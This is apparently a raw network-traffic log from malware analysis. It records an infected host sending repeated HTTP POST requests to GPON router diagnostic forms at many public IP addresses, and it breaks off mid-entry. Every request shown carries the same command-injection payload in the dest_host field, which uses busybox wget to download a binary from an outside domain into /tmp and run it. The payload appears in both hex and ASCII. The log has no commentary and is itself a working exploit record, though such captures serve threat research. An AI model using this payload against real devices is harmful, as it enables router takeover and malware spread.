XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.13	33886	202.181.82.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772378922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.13	44830	94.18.218.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772391081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.13	37974	109.205.150.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772411108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.13	43994	212.145.229.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772440910 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.13	56276	2.6.122.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772464991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.13	55930	42.178.203.170	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772507906 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.13	43118	5.172.191.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772542000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.13	57026	117.134.93.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772573948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.13	42372	117.182.231.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772584915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.13	58840	79.189.203.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772619009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.13	34644	109.130.161.238	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772643089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.13	43598	117.199.211.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772666931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.13	55278	79.153.180.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772691011 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.13	48486	178.83.107.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772721052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.13	51134	5.247.55.227	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772756100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.13	55580	2.138.56.217	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772804976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.13	49172	2.119.221.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772818089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.13	41624	94.198.238.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772852898 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.13	42244	118.115.127.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772910118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.13	45254	2.187.132.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772948027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.13	35428	118.101.8.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772963047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.13	35614	178.145.218.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772994041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.13	42900	37.223.48.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773017883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.13	39926	148.15.55.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773030043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.13	50000	118.119.187.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773061037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.13	47504	202.5.81.59	443

Timestamp	Bytes transferred	Direction	Data
